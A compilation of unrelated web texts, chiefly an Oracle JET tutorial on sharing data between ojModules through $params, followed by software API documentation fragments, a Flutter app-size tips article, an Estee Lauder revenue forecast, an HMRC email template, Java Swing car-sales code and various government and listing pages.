Passing Data into ojModules
Geertjan Wielenga recently published a series of articles on inter-module communication with three great ways to get modules talking to each other, or at least sharing data. Here is a different trick I learned from Jim Marion, originally in the context of passing data to Knockout Components but reapplied here to Oracle JET modules.
ojModules can be used to tidy up your codebase, but they’re also useful for creating reusable blocks of code that you might iterate over to produce many copies of the same component, each with its own backing data.
Using the $params option for ojModule we can pass data objects into the called submodule to be used and tweaked in the context of that module’s viewModel. Since JavaScript objects are pass-by-copy-of-reference, this means anything we add or change to the passed in $params object will still be there if we try to access it from the parent module. This is because they’re pointing at the same thing in memory.
So for example lets say we have a array of objects we want to iterate over and create index cards out of, a la the WorkBetter demo. Instead of creating all of the code for the card itself in the page’s view, we could instead create a module out of the cards. Then if we ever need to use cards again in a different part of our app, we already have the code set up as a module and can just reuse it.
Setting up the parent ojModule
In our example, the module that the router calls when we click on the Employees tab is very simple. Think of it as the parent view for all of the children cards we’ll iterate over.
employeeCards.html view

Card Modules Content

computed cards selected:

Notice that there’s hardly any HTML in the parent. Basically just a Knockout foreach
that iterates over an allPeople
array. Notice also that we’re calling a module in a relative subdirectory named cards-modules/card
and that each time we loop we’re passing in the $data
binding as params
for the current iteration of the foreach…more on that later.
Here’s the backing viewModel for our parent view. Since this is demo data, the allPeople
observable array is hard-coded but it could just as well be populated by a data retrieval function. There’s also a computed observable that returns a count of all cards in the data that have an isSelected
member set to true
.
employeeCards.js viewModel
define(['ojs/ojcore', 'knockout'
], function (oj, ko) {
function ViewModel() {
var self = this;
self.allPeople = ko.observableArray([]);
self.allPeople([{
"empId": 205,
"firstName": "Shelley",
"lastName": "Higgins",
"title": "Accounting Director",
"hireDate": "2010-01-01T00:00:00Z",
"rating": 5,
"potential": 3,
"deptName": "Accounting"
}, {
"empId": 118,
"firstName": "Guy",
"lastName": "Himuro",
"title": "Purchasing Clerk",
"hireDate": "2009-03-01T00:00:00Z",
"compRatio": 63,
"rating": 4,
"potential": 4,
"deptName": "Purchasing"
}, {
"empId": 103,
"firstName": "Alexander",
"lastName": "Hunold",
"title": "IT Director",
"hireDate": "2006-07-14T00:00:00Z",
"rating": 2,
"potential": 2,
"deptName": "IT"
}, {
"empId": 175,
"firstName": "Arthur",
"lastName": "Hutton",
"title": "Public Relations Reprentative",
"hireDate": "2008-02-14T00:00:00Z",
"rating": 2,
"potential": 4,
"deptName": "Public Relations"
}]);
// calculate number of selected cards when allPeople receives valueHasMutated()
self.computedCount = ko.computed(function(){
//filter array for only the elements that have isSelected == true, then count the length of that filtered array
var countNewvalue = self.allPeople().filter(function (c) {
// must check if the object even has an isSelected member, because it doesn't on the first pass
if (c.isSelected){
return c.isSelected();
}
}).length;
return countNewvalue;
});
}
return ViewModel;
});
But wait: looking at the hard-coded data for allPeople
, there is no member for isSelected
—at least not yet. That’s because we are going to add it inside of the cards-modules/card
child module as the result of a click handler. But the cool thing is that we’ll be able to access that data here in the parent’s viewModel because of the way we pass the $data
object.
Setting up the child ojModule
The submodule’s HTML is unabashedly copied from the WorkBetter sample app, but it is only the index card code. Each time we iterate over the parent’s allPeople
array, we’ll get one copy of this card HTML.
cards-modules/card.html view

Tenure

<div class="demo-employee-perf" data-bind="text:cardData.rating, style: {color: cardData.rating < 3 ? '#e95b54' : '#309fdb'}">

Rating

<div class="demo-employee-perf" data-bind="text:cardData.potential, style: {color: cardData.potential < 3 ? '#e95b54' : '#309fdb'}">

Potential

is selected

To the WorkBetter code I added a span of green text that only shows when the card’s viewModel has an isSelected
attribute set to true
. We’ll see this is set by a toggleSelected()
function in the viewModel.
Also see how all of the fields’ text
data is being bound to members of a cardData
object in the backing viewModel. This is actually the data that got passed from the parent view when we called ojModule with the params: $data
option. We unpack it in the viewModel code below.
There is one other difference from the WorkBetter code: we’ve added the click handler for that toggleSelected()
to the entire card panel’s div. But see how it’s not a normal data-bind
reference? Instead, we’re calling anonymous function to pass in the context binding for $parents
to our toggleSelected
click handler. We need this $parents
context inside of the viewModel, and I’ll explain why next.
cards-modules/card.js viewModel
define(['ojs/ojcore', 'knockout'
], function (oj, ko) {
function cardContentViewModel($params) {
var self = this;
// assign the passed-in $params to a viewModel variable
self.cardData = $params;
// add a flag to the card to track "selected" state
self.cardData.isSelected = ko.observable(false);
// click handler for toggling a card's selected state
// gets $parents passed in from view's binding
self.toggleSelected = function ($parents) {
self.cardData.isSelected(!self.cardData.isSelected());
// we need to tell the grandparent that we changed the data inside the array
// since the grandparent's allPeople observableArray won't fire subscriptions otherwise
$parents[1].allPeople.valueHasMutated();
};
// functions stolen from WorkBetter for card data calculations
self.getPhoto = function (empId) {
var src;
if (empId < 188) {
src = 'css/images/people/' + empId + '.png';
} else {
src = 'css/images/people/nopic.png';
}
return src;
};
self.getTenure = function (emp) {
var now = new Date().getFullYear();
var hired = new Date(emp.hireDate).getFullYear();
var diff = now - hired;
return diff;
};
}
return cardContentViewModel;
});
This looks like a normal viewModel but for a few differences. One is that we’re expecting a $params
parameter when our viewModel function is called. This will be the current record from the allPeople
array when the parent calls our ojModule. We immediately assign $params
to a local viewModel variable (self.cardData
) so that we can access it via normal data binding in the view.
But again: because JavaScript is passing in a copy of the pointer to the object that was this iteration of the allPeople
array, then if we modify the data it will be changing the same object that the parent owns. This means we can make a change to the state of the object here in the submodule, but use that same data up in the parent module.
That’s what we do when we add an isSelected
member to the data object. This is a locally-maintained flag that holds the ‘has it been clicked’ status for this card. The selected status is toggled by the toggleSelected()
function.
But that toggle function takes a parameter of its own: the $parents
binding from the card view. We need this in order to reach up to the parent’s allPeople
observable array and tell it that we’ve mutated the values of its members, otherwise the computed observable computedCount
will never fire. Why not?
Because we’re not really modifying the observable array allPeople
…we’re modifying a member of that array. The array still has the same number of items and thus the array itself doesn’t seem changed, especially to the parent viewModel. We’ve only modified one of the members of one of the array’s items, and so the computedObservable subscription never fires. But we can wake it up by explicitly telling it to recalculate by means of the $parents[1].allPeople.valueHasMutated();
call.
(aside: We’ve been calling it the “parent” viewModel, so why do we need to reach up to the grandparent with $parents[1]
instead of the parent with $parents[0]
? It’s because of the foreach
in the parent module’s view: it introduces another layer when it iterates over the array before calling our submodule.)
Taking it for a spin
With all the pieces now in place we can show data added and modifed in the submodule yet also accessible from the parent viewModel.
When we click on a card, it locally toggles its selected state and the green “is selected” text is revealed. Meanwhile up at the parent the computed observable fires and the parent counts up how many array items are in isSelected state and displays that number via a binding in the parent’s view.
With this same params
passing technique, a single data object could be passed around to multiple modules in a view, all of them modifying the same object in memory.


Methods
scrapeFeed()
Choose a random approved feed and scrape content from it
- Source:
storeTweet(title, origin, original_link)
Save a retrieved content item in the collection that stores content for tweets
Parameters:
| Name | Type | Description |
|---|---|---|
title |
string | The title of the article to save |
origin |
string | The name of the site that published the content |
original_link |
string | The full url to the piece of content |
- Source:


make http remove request
url path
make http get request
make http patch request
make http post request
make http put request
Object.assign like function to assign fetch options
mockRequest a request with data
Generated using TypeDoc
make http remove request
url path


|
Hoard Overlay Unity
Boilerplate for account management
|
Basic IViewModel class. More...
Public Member Functions | |
| void | NotifyChange ([CallerMemberName]string name=default) |
| ViewController | BindView (IHoardViewController controler) |
| Connect the ViewController to the view More... | |
| virtual void | Close () |
| Override to perform tasks when controller closes More... | |
| virtual void | Disable () |
| Override to perform tasks when controller is disabled Called when controller is no longer visiable to the user More... | |
| virtual void | Enable () |
| Override to perform tasks when controller is Enabled Called when controller becomes visiable More... | |
| virtual void | Open () |
| Override to perform tasks when controller Opens Called when controller becomes visiable More... | |
Protected Attributes | |
| string | title |
Properties | |
| virtual string | Title [get, protected set] |
| Title of the ViewController More... | |
| bool | Active [get] |
| Is Controller activated More... | |
| bool | Visible [get] |
| Is Controller visiable to the user More... | |
| Properties inherited from Hoard.MVC.IHoardViewController | |
| string | Title [get] |
| The title of the controller More... | |
Events | |
| PropertyChangedEventHandler | PropertyChanged |
Basic IViewModel class.
| ViewController Hoard.MVC.ViewController.BindView | ( | IHoardViewController | controler | ) |
Connect the ViewController to the view
|
virtual |
Override to perform tasks when controller closes
Remember to call base.Close() in the override method for correct behaviour
Implements Hoard.MVC.IHoardViewController.
Reimplemented in Hoard.MVC.ImportAccount, and Hoard.MVC.ExportAccount.
|
virtual |
Override to perform tasks when controller is disabled Called when controller is no longer visiable to the user
Remember to call base.Disable() in the override method for correct behaviour
Implements Hoard.MVC.IHoardViewController.
|
virtual |
Override to perform tasks when controller is Enabled Called when controller becomes visiable
Remember to call base.Enable() in the override method for correct behaviour
Implements Hoard.MVC.IHoardViewController.
| void Hoard.MVC.ViewController.NotifyChange | ( | [CallerMemberName] string | name = default | ) |
|
virtual |
Override to perform tasks when controller Opens Called when controller becomes visiable
Remember to call base.Open() in the override method for correct behaviour
Implements Hoard.MVC.IHoardViewController.
Reimplemented in Hoard.MVC.RenameUser.
|
protected |
|
get |
Is Controller activated
|
getprotected set |
Title of the ViewController
|
get |
Is Controller visiable to the user
| PropertyChangedEventHandler Hoard.MVC.ViewController.PropertyChanged |


Size matters: Reducing Flutter App size best practices
2.6 million apps in the Google Play store today — no wonder convincing a user to install your app has never been more difficult. As if it wasn’t difficult enough already, plenty of your users have seen this dialogue — probably multiple times — as well:
Let’s assume that you have a retail store and you ship an app to make the shopping experience smoother and quicker. You’ve added AR filters and applied Machine Learning to figure out your user's preferences and to tailor the experience. In other words, you’ve made a freakin’ awesome shopping app! Wow! It even supports Android 4.4 and 8 different languages. Good for you!
Now, how many people (especially from those that have a problem with the device storage space) do you think that they are going to download it if they see the following message?
“more than 337 million smartphone users with limited data plans”
So after all coding part, we do optimization and try to reduce the app size. In terms of optimization each and every bytes matter.
The download completion rate of an app with an APK size of around 10MB will be ~30% higher than an app with an APK size of 100MB
There are many good coding practices and building a stable architecture will help the app to perform better. We can talk about it in detail in another article. Apart from that, there are some common methods and practices that you can implement in your app to make it better.
7 Flutter app Performance Tips
1.Image Asset
In Flutter people uses images from assets folder to display in the app. In development mode, this will be useful as the images are loaded faster. But when you bundle the app these images adds more weight to the app. The solution is of using network images. Upload the images in permanent storage path like AWS or in your website server and use the link to that image in your code.
Image.network( 'https://picsum.photos/250?image=9',)
Also, compress PNG and JPEG files before uploading them to your storage. The free online resource to compress the PNG image is
https://compresspng.com/.2.Use Google Fonts
Initially, the flutter app can have custom font styles only assessing the font file from the assets folder. Similar to images these fonts will also increase app size. The best solution is using google_fonts a plugin. This plugin will dynamically download font when it is used and it will download it in a specific style and language so that you don’t need to ship all of the variations with your project.
Text( 'This is Google Fonts', style: GoogleFonts.lato( textStyle: Theme.of(context).textTheme.display1, fontSize: 48, fontWeight: FontWeight.w700, fontStyle: FontStyle.italic, ), ),
3. Icons
It is recommended to use from Material Icons or Cupertino Icons class. From Flutter 1.20, you can add --tree-shake-icons option to flutter build command, to remove all of the not used icons from the bundle. This will potentially save the size of your app.
But in many situations due to modern design you might need to use other icons. In that case use .svg format icon so you don’t need to worry about different device DPI’s and this also helps in reducing apk size.
4. Dynamic App Delivery
We could build an app bundle if we are uploading to playstore or we could split the apk per abi which splits the apk to x64 and x86 bit code. By using appbundle Google Play’s new app serving model, called Dynamic Delivery, uses your app bundle to generate and serve optimized APKs for each user’s device configuration, so they download only the code and resources they need to run your app.
But some of the stores like Amazon App store still doesn’t support appbundle in that case you can use --split-per-abi command which will give you three version of apks.
On average, apps published with app bundles are 20% smaller in size.
flutter build appbundle // or use flutter build apk --split-per-abi
5. Cache
Using cache will not help in reducing app size but it will make the app to load faster and hence improving the app performance. All frequently used images like profile pic, bg picture using cached_network_image plugin.
The cached_network_image package allows you to use any widget as a placeholder. In this example, display a spinner while the image loads.
CachedNetworkImage( imageUrl: "http://via.placeholder.com/200x150", imageBuilder: (context, imageProvider) => Container( decoration: BoxDecoration( image: DecorationImage( image: imageProvider, fit: BoxFit.cover, colorFilter: ColorFilter.mode(Colors.red, BlendMode.colorBurn)), ), ), placeholder: (context, url) => CircularProgressIndicator(), errorWidget: (context, url, error) => Icon(Icons.error), ),
6. Proguard
Proguard is a java program optimizer. It is not specific to Flutter. It optimizes your code in ways that don’t change the functionality but change the representation to make it more compact. It obfuscates name of types, fields, methods where the original name doesn’t matter such that long names are replaced with short strings like a and b for efficiency. Packages and classes may have a long name but should not hinder efficiency. It also removes unused java code from dependencies.
You have two default proguard file you can apply.
- proguard-android-optimize.txt — progurard configuration
- proguard-android.txt
We used proguard-android-optimize.txt as the default proguard configuration. You can add you custom proguard configurations in proguard-rules.pro file in your /app directory.
release { //Enable the proguard minifyEnabled true proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), "proguard-rules.pro" //Other parameters debuggable false jniDebuggable false renderscriptDebuggable false signingConfig playStoreConfig //Add your own signing config pseudoLocalesEnabled false zipAlignEnabled true }
By setting minifyEnabled to true, the proguard will remove all the unused methods, instructions and slim down the classes.dex file.By enabling the proguard in every module of our project we can we are able to reduce the classes.dex file size almost by 50%.
7. Use Specific Libraries
Calling packages not needed or used in our pubspec.yaml file should be avoided. Once done building your app, you should check your pubspec.yaml and remove libraries/packages which is/are not used. Also remove all the unused assets from pubspec.yaml.
Also in certain situations due to unavailability of some features me might used some 3rd party plugins. But in some future update Flutter might have resolved it and had a built-in solution. In those case using default Flutter solution is a good practice than using the 3rd party plugins.


Your First name is your user name.
If you have forgot your password please create new account.
Please try again By changing password.


#include <btGImpactShape.h>
Public Member Functions | |
| virtual bool | is_trimesh () const |
| determines if this manager consist on only triangles, which special case will be optimized | |
| virtual void | get_primitive_triangle (int prim_index, btPrimitiveTriangle &triangle) const |
| retrieves only the points of the triangle, and the collision margin |
Manages the info from btStridingMeshInterface object and controls the Lock/Unlock mechanism
Definition at line 538 of file btGImpactShape.h.


Can Estee Lauder’s Total Revenue Cross $17 Billion By 2021?
by Trefis TeamEstee Lauder’s (NYSE: EL) total revenue has grown from $11.82 billion in 2017 to $14.86 billion in 2019, and we expect this growth to continue, driving total revenue to $17.14 billion in 2021. The growth in total revenue has largely been due to strong growth in emerging markets and an increase in selling prices. Skin Care Revenue has seen the highest absolute growth, from $4.55 billion in 2017 to $6.58 billion in 2019, and we expect this segment to bring in $8.11 billion by 2021. We expect Estee Lauder’s total revenue to rise to around $17.14 billion by 2021, as the company plans on further expanding in the Asia Pacific region.
Estee Lauder has 4 Operating Segments-
To know more about Estee Lauder’s operating segments, and what products they offer, you can view our interactive dashboard, Estee Lauder Revenue: How Does Estee Lauder Make Money?
A] Revenue from the skin care segment to make up 47% of the 2021 revenue estimate, and bring in around $8.11 billion
- Estee Lauder’s skin care segment includes products such as moisturizers, sun screens, and cleansers and face washes.
- Revenue from the skin care segment has grown from $4.55 billion in 2017 to $6.58 billion in 2019, driven by the Estee Lauder and Le Mer brands.
- We expect revenue from this segment to grow to about $8.11 billion by 2021.
B] Revenue from makeup products to grow by about $600 million over the next two years and make up around 38% of total revenue by 2021
- Estee Lauder’s makeup line includes products primarily meant for the lips, eyes, nails, and face.
- Revenue from this segment has been primarily driven by the Estee Lauder and Tom Ford Beauty brands.
- The makeup line has also largely benefited from the acquisitions of Too Faced and Becca in 2016.
- Revenue from this segment has grown from $5.08 billion in 2017 to $5.89 billion in 2019, and we expect it to grow to $6.49 billion in 2021.
C] Revenue from fragrances to bring in around $1.92 billion by 2021, and make up around 11% of total revenue
- The fragrance segment includes products such as perfume sprays, colognes, lotions, powders, creams, and soaps for both men and women.
- Jo Malone London and Tom Ford are Estee Lauder’s prominent fragrance brands, and make up the bulk of this luxury segment.
- We do not expect substantial growth in revenue from this segment by 2021, and expect it to bring in around $1.92 billion.
D] Hair Care to make up around 4% of total revenue, bringing in around $622 million
- The hair care segment includes hair color and styling products, shampoos, conditioners, and finishing sprays priced in the premium range of the market.
- Hair care at Estee Lauder is essentially meant to complement the portfolio of premium beauty care products.
- Revenue from this segment has grown from $542 million in 2017 to $586 million in 2019, and we expect it to rise to around $622 million by 2021.
What’s behind Trefis? See How It’s Powering New Collaboration and What-Ifs For CFOs and Finance Teams| Product, R&D, and Marketing Teams More Trefis Data Like our charts? Explore example interactive dashboards and create your own


@* * Copyright 2023 HM Revenue & Customs * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *@ @(params: Map[String, Any]) @uk.gov.hmrc.hmrcemailrenderer.templates.helpers.html.template_main(params, "How to start the trial of HMRC’s new online service") {
Dear @{params("name")}
Thank you for volunteering to help HMRC test the new Report and pay Capital Gains Tax on UK property service.
You’ll be one of the first to use the new service. Your feedback will help HMRC improve it.
You will be able to take part online in your own home or at a location you choose.
The trial will take place between 6 January 2020 to 5 April 2020.
The trial will take around 30 minutes to complete.
You will need to use a device that is connected to the internet.
When taking part in the online trial, you will need to provide certain personal details to create your Capital Gains Tax on UK property account. These details may include:
You can find links to our cookies policy, terms and conditions page, and privacy policy in footer section of the new service. You’ll be able to read these before you start to create an account.
You will be asked to:
We may:
You will not be able to use the new service to Report and pay Capital Gains Tax on UK property before 6 April 2020. You’ll need to go to GOV.UK and search for ‘Capital Gains Tax’ to find out how to use existing services to pay the tax.
You will have a Capital Gains Tax on UK property account, will be able to use it from 6 April 2020 to report and pay your Capital Gains Tax on UK property.
Once HMRC has tested and improved the service they will add it to GOV.UK so anyone who needs to use it will be able to.
Follow the link below to start the trial. You’ll be able to find out about the new service, then start to use it to create an account. You can also use the link to come back later and sign into your account.
You can use the link 5 times. You’ll be able to use the link for 90 days.
To start the trial, go to @{params("verificationLink")}
Do not reply to this email.
From Capital Gains Tax on UK property
}


About The Welcome panel
Suppose you have to develop a program for managing the sales of your car shoeroom. The following functions have been requested by your Head (The shopkeeper): 1: The program should allow the user to select and buy different items present in that shop. 2: The user should be able to see the items that he has bought and print his total bill on the screen 3: The program should not end until the user specifies it to end. (The user should press 'q' to quit the program)
import java.awt.*; import java.awt.event.*; import javax.swing.*; import javax.swing.event.*; import javax.swing.border.*; /** * A welcome dialog, which displays basic statistics about the cars in the data file * @ * * PUBLIC FEATURES: * // Constructors * public WelcomePanel(CarSalesSystem carSys, JPanel dest, String data) * * // Methods * public void carsUpdated(CarUpdateEvent ev) * public void stateChanged(ChangeEvent ev) * * COLLABORATORS: * * * @version 1.0, 16 Oct 2004 * @author Adam Black */ public class WelcomePanel extends JPanel implements ChangeListener { private CarSalesSystem carSystem; private JLabel headingLabel = new JLabel("Welcome to the Car Sales System", JLabel.CENTER); private JLabel carsLabel = new JLabel(); private JLabel manufacturersLabel = new JLabel(); private JLabel avgPriceLabel = new JLabel(); private JLabel avgKmLabel = new JLabel(); private JLabel avgAgeLabel = new JLabel(); private JLabel versionLabel = new JLabel(); private JLabel dataSizeLabel = new JLabel(); private JPanel statsPanel = new JPanel(); private JPanel centerPanel = new JPanel(new FlowLayout(FlowLayout.LEFT, 10, 5)); private boolean carsUpdated = false; private String file; /** * @param carSys link to CarSalesSystem object * @param dest panel to place components within * @param data filename of data file */ public WelcomePanel(CarSalesSystem carSys, String data) { carSystem = carSys; file = data; setLayout(new BorderLayout(0, 10)); carSys.addCarUpdateListener(this); statsPanel.setLayout(new BoxLayout(statsPanel, BoxLayout.Y_AXIS)); centerPanel.add(statsPanel); headingLabel.setBorder(new EmptyBorder(new Insets(10, 0, 0, 0))); updateStats(); statsPanel.add(carsLabel); statsPanel.add(manufacturersLabel); statsPanel.add(avgPriceLabel); statsPanel.add(avgKmLabel); statsPanel.add(avgAgeLabel); statsPanel.add(Box.createVerticalStrut(20)); statsPanel.add(versionLabel); statsPanel.add(dataSizeLabel); add(headingLabel, "North"); add(centerPanel, "Center"); } /** * this method is invoked when a car has been added to the system. * * @param ev CarUpdateEvent Object */ public void carsUpdated(CarUpdateEvent ev) { if (ev.getSource() == carSystem) { carsUpdated = true; } } /** * when the tab on the main frame gets changed over to this one, we may have to update the * car list with the latest version * * @param ev ChangeEvent object */ public void stateChanged(ChangeEvent ev) { // the source came from a JTabbedPane if (ev.getSource() instanceof JTabbedPane) { JTabbedPane tab = (JTabbedPane)ev.getSource(); // the Welcome tab has just been chosen if (tab.getSelectedIndex() == 0) { // if the statistics is not up to date if (carsUpdated) { // update them updateStats(); // next time don't update the statistics, unless a car is added to the system carsUpdated = false; } } } } /** * update all the statistics */ private void updateStats() { // receive new statistics int cars = (int)carSystem.getStatistics(CarSalesSystem.CARS_COUNT); int manufacturers = (int)carSystem.getStatistics(CarSalesSystem.MANUFACTURERS_COUNT); double avgPrice = Math.floor(carSystem.getStatistics(CarSalesSystem.AVERAGE_PRICE) * 10 + 0.5) / 10; double avgKm = Math.floor(carSystem.getStatistics(CarSalesSystem.AVERAGE_DISTANCE) * 10 + 0.5) / 10; double avgAge = Math.floor(carSystem.getStatistics(CarSalesSystem.AVERAGE_AGE) * 10 + 0.5) / 10; java.io.File f = new java.io.File(file); long size = f.length(); // get length of binary data file carsLabel.setText("Total number of cars: " + String.valueOf(cars)); manufacturersLabel.setText("Total number of manufacturers: " + String.valueOf(manufacturers)); avgPriceLabel.setText("Average car price: " + String.valueOf(avgPrice)); avgKmLabel.setText("Average car kilometers: " + String.valueOf(avgKm)); avgAgeLabel.setText("Average car age: " + String.valueOf(avgAge)); versionLabel.setText("Car Sales System, Version " + CarSalesSystem.APP_VERSION); dataSizeLabel.setText("Size of data file: " + size + " bytes"); } }


--- layout: post title: It’s So Obvious, Why Didn’t I See It? Visual Business Intelligence date: '2012-02-13T13:28:56-08:00' tags: tumblr_url: http://alexhwilliams.tumblr.com/post/17567612515/its-so-obvious-why-didnt-i-see-it-visual-business ---
http://bit.ly/Afaqi5


Please provide the sales information for your renewal period:
If you manufactured less than the required 4500 litre minimum, you must submit a letter which explains why and asks for discretion from the Branch to allow you to renew your liquor licence. As per Section 29(3) of the LCL Regulation, your reasons must satisfy the general manager of the Branch that the lower production was caused by crop failure; standard agricultural practices that result in the temporary loss of sufficient plant products, milk or honey to meet normal production volumes; or an event that is beyond the control of the licensee. You must also indicate the measures you will take to ensure you are able to meet the production requirement for future years.
Please Note: You are required to retain all records of your primary ingredients, additions to wine, what your wine was produced from, any wine purchased and any wine sold and to whom. Documents must be readily available upon request from the Liquor and Cannabis Regulation Branch.
The application must only be submitted by an individual with the authority to bind the applicant. The branch relies on the applicant to ensure that the individual who submits this application is authorized to do so. Typically, an appropriate individual in a corporation will be a duly authorized signatory who will usually be an officer or, in some cases, a director. Note: A lawyer or consultant, may NOT submit this application on behalf of the applicant.
Section 20(1) of the Liquor Control and Licensing Act states: “The general manager may refuse to issue, renew, transfer or amend a licence if the applicant fails to disclose a material fact required by the application or makes a false or misleading statement in the application.”
The ‘save for later’ feature allows applicants to re-access an application in progress. Please be advised that once an application is submitted, you will be unable to upload additional documentation. For questions on the LCRB application process, please contact: lcrbcannabis@gov.bc.ca.


FUTURE DEVELOPMENT
Sand Cherry Court
Sand Cherry Court is an exclusive community of townhomes nestled on five acres of land close to downtown Belleville. Based on the approved draft plan, the development is to comprise only 39 freehold townhouse units, all just minutes from a casino, Marriot and future Costco.
The City of Belleville
Belleville’s charm lies in its diversity. From a remarkable array of shopping and dining experiences, to the vast stretches of outdoor spaces, parks and woodland, there is always something to discover, no matter the season. Belleville is also a city connected. A location between and in close proximity to Toronto, Montreal, Ottawa, and the US interstate highway system makes Belleville the perfect starting point for travels both domestic and international.
Register Now
Please register to receive the latest news on Bosseini Living.


XMLUnit - JUnit and NUnit testing for XML |
|||||
|
For those of you who've got into it you'll know that test
driven development is great. It gives you the confidence to change code
safe in the knowledge that if something breaks you'll know about it.
Except for those bits you don't know how to test. Until now XML has
been one of them. Oh sure you can use XML can be used for just about anything so deciding if two documents are equal to each other isn't as easy as a character for character match. Sometimes
and sometimes it doesn't... With XMLUnit you get the control, and you get to decide. |
|||||
XMLUnit for Java |
|||||
|
The current stable release is XMLUnit 1.5, September 2013. XMLUnit for Java provides two JUnit extension classes,
XMLUnit for Java can also treat HTML content (even badly-formed HTML) as valid XML to allow these assertions to be made about the content of web pages too.
|
|||||
XMLUnit for .Net |
|||||
|
The current release is XmlUnit .Net 0.4, April 2009 XMLUnit for .Net provides NUnit extension classes written in
C#, e.g. Please be aware that the .Net code base is not as advanced as its Java counterpart, in particular there is currently no explicit support for namespaces. |
|||||
NewsRSS feeds are available for Project news releases and Project file releases . An archive of the project news is available here. |
|||||
|
Brought to you by Tim Bacon and Jeff Martin |


Challenge.gov
Here, members of the public compete to help the U.S. government solve problems big and small. Browse through challenges and submit your ideas for a chance to win.
Innovative Technology Solutions for Social Care Referrals
Opportunity to create and modernize health IT platforms to foster connections between health care systems and community based organizations in...Open Until: 01/06/2021 05:00 PM ET
HHS Hypertension Innovator Award Competition
Innovative methods of blood pressure monitoring and follow-up in women during pregnancy and/or postpartumOpen Until: 01/06/2021 11:59 PM ET
Fleet Visual Information Capture Challenge
Fleet VI is a no-fail mission designed to document with video, for the purpose of being released to the media,...Open Until: 01/11/2021 11:59 PM ET
NASA Lunar Delivery Challenge
Landing on the Moon with all that we need is just the beginning. Now we have to unload it.Open Until: 01/19/2021 05:00 PM ET
SMART Visualization Platform Prize Challenge
Bring the Earth to Life with a New Intuitive Visualization Tool for Subsurface Environments!Open Until: 01/22/2021 08:00 PM ET
Canal Safety Challenge
Discovering solutions to improve public safety and reduce drownings in canals throughout the U.S.Open Until: 01/27/2021 07:00 PM ET
COVID-19 Precision Immunology App-a-thon
Participants will develop applications and pipelines to illuminate the relationship between personalized adaptive immunity molecular data and COVID-19 disease variables...Open Until: 01/28/2021 11:59 PM ET
Power of Passengers Challenge
Building a better, more secure and safer travel experience.Open Until: 01/28/2021 08:00 PM ET
NSWC Crane AISUM Prize Challenge
Seeking AI algorithms to combine with Robotic Autonomous Systems for Small Unit Maneuver elements.Open Until: 01/29/2021 02:00 PM ET
Safer and More Effective Less than Lethal Capabilities for Area Denial and Crowd Control
Seeking innovative concepts and technologies for de-escalating situations while mitigating injury and unintended effectsOpen Until: 02/01/2021 11:59 PM ET
2021 FAA Challenge: Smart Airport Student Competition
The FAA challenges undergraduate and graduate students to develop innovative ways to use smart technology in and around airports to...Open Until: 02/04/2021 11:59 PM ET
Envisioning Health Equity Art Challenge
A competition to share original artwork that reflects an America where health disparities are a thing of the pastOpen Until: 02/05/2021 11:59 PM ET
AI ATAC 3 Challenge: Efficiency & Effectiveness Afforded by Security Orchestration & Automated Response (SOAR) Capabilities
Artificial Intelligence SOAR Tools for Security Operations Center (SOC) AutomationOpen Until: 02/12/2021 05:00 PM ET
Mad Hacks: Fury Code
Explore solutions for the future of vehicle cybersecurity.Open Until: 02/20/2021 03:00 AM ET
Blazing New Trails for Community Based Direct Support Professionals
Innovations to Transform the Direct Support Professionals WorkforceOpen Until: 02/22/2021 11:59 PM ET
EmPOWER Air Data Challenge
Developing Innovative Analyses Using Emissions and Environmental Monitoring DataOpen Until: 02/22/2021 11:59 PM ET
Honey, I Shrunk the NASA Payload, The Sequel
This challenge offers the 14 winning teams of Phase 1 the opportunity to build their teams and work with NASA...Open Until: 02/23/2021 08:00 AM ET
NCATS 2020 ASPIRE Reduction-to-Practice Challenge (ASPIRE 2020)
Development of a Comprehensive Integrated Platform for Translational Innovation in Pain, Opioid Use Disorder and OverdoseOpen Until: 02/28/2021 05:00 PM ET
Unmanned Aircraft Systems Ground Control Station Software Challenge Series
NASA needs a Ground Control Station software for small unmanned aircraft systems that can be safely used for live flight...Open Until: 03/01/2021 08:00 AM ET
More Water Less Concentrate
Discovering solutions to reduce the volume of concentrate from inland desalination plants.Open Until: 03/03/2021 07:00 PM ET
Promoting Pediatric Primary Prevention (P4 Challenge)
Innovations in Pediatric Primary Care to Improve Child HealthOpen Until: 03/15/2021 05:00 PM ET
Watts on the Moon - Phase 1
Open Until: 03/25/2021 05:00 PM ET
NHLBI Hope for Sickle Cell Disease Challenge
Foster awareness of Sickle Cell DiseaseOpen Until: 03/26/2021 11:59 PM ET
2021 Solar Decathlon Design Challenge
Want to design buildings that help address the most pressing needs of our time? Love the thrill of competing with...Open Until: 04/15/2021 05:00 PM ET
NIH Prize for Enhancing Faculty Gender Diversity
NIH Prize for Enhancing Faculty Gender Diversity in Biomedical and Behavioral ScienceOpen Until: 04/16/2021 05:00 PM ET
Differential Privacy Temporal Map Challenge
Help public safety agencies share data while protecting privacy.Open Until: 05/17/2021 07:59 PM ET
2021 Design by Biomedical Undergraduate Teams (DEBUT) Challenge
NIBIB is challenging undergraduate student teams to develop technology solutions to unmet healthcare needsOpen Until: 06/01/2021 11:59 PM ET
EcoTox TARGET Challenge
Develop high quality, low-cost tools that assess global gene expression in common aquatic toxicity test organismsOpen Until: 06/15/2021 11:59 PM ET
Break the Ice Phase 1
NASA’s Break the Ice Lunar Challenge seeks to incentivize innovative approaches for excavating icy regolith and delivering water in extreme...Open Until: 06/18/2021 11:59 PM ET
Streamflow Forecast Rodeo
Improving short-term streamflow forecast skill.Open Until: 09/30/2021 09:00 PM ET
DARPA Subterranean (SubT) Challenge
Create breakthrough technologies and capabilities for underground operations.Open Until: 09/30/2021 12:00 AM ET


Dgame.Window.Event
- enum WindowEventId: ubyte;
- Specific Window Events.
- None
- Nothing happens
- Shown
- Window has been shown
- Hidden
- Window has been hidden
- Exposed
- Window has been exposed and should be redrawn
- Moved
- Window has been moved to data1, data2
- Resized
- Window has been resized to data1Xdata2
- SizeChanged
- The window size has changed,
- Minimized
- either as a result of an API call or through
the system or user changing the window size. */
Window has been minimized.
- Maximized
- Window has been maximized.
- Restored
- Window has been restored to normal size and position.
- Enter
- Window has gained mouse focus.
- Leave
- Window has lost mouse focus.
- FocusGained
